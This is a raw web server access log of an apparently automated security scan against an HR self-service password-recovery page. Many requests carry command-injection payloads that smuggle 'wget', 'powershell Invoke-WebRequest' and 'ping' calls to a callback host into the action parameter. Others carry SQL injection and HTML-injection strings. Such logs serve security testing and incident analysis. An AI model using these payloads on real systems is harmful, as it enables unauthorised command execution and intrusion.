- [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EHCL4ppsc4nbuggyRandomValue%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EHCL4ppsc4nbuggyRandomValue%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%7C%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D98&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%7C%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D98&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%29+having+1%3D1--+ HTTP/1.1" 200 6690 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%29+having+1%3D1--+ HTTP/1.1" 200 6690 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%7C%7C+ping+-c+1+v3-ping-101-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:11 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%7C%7C+ping+-c+1+v3-ping-101-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%7C%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D104&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%7C%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D104&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EHCL4ppsc4nbuggyRandomValue%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D105%23&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:12 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D105%23&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%a5'%20having%201=1--%20 HTTP/1.1" 200 6691 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%a5'%20having%201=1--%20 HTTP/1.1" 200 6691 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%22+ping+-c+1+v3-ping-108-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com+%23&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%22+ping+-c+1+v3-ping-108-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com+%23&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:13 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%24%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D111%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%24%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D111%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%27powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D115%23&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%27powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D115%23&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%27+ping+-c+1+v3-ping-117-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com+%23&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%27+ping+-c+1+v3-ping-117-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com+%23&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:15 +0800] "GET 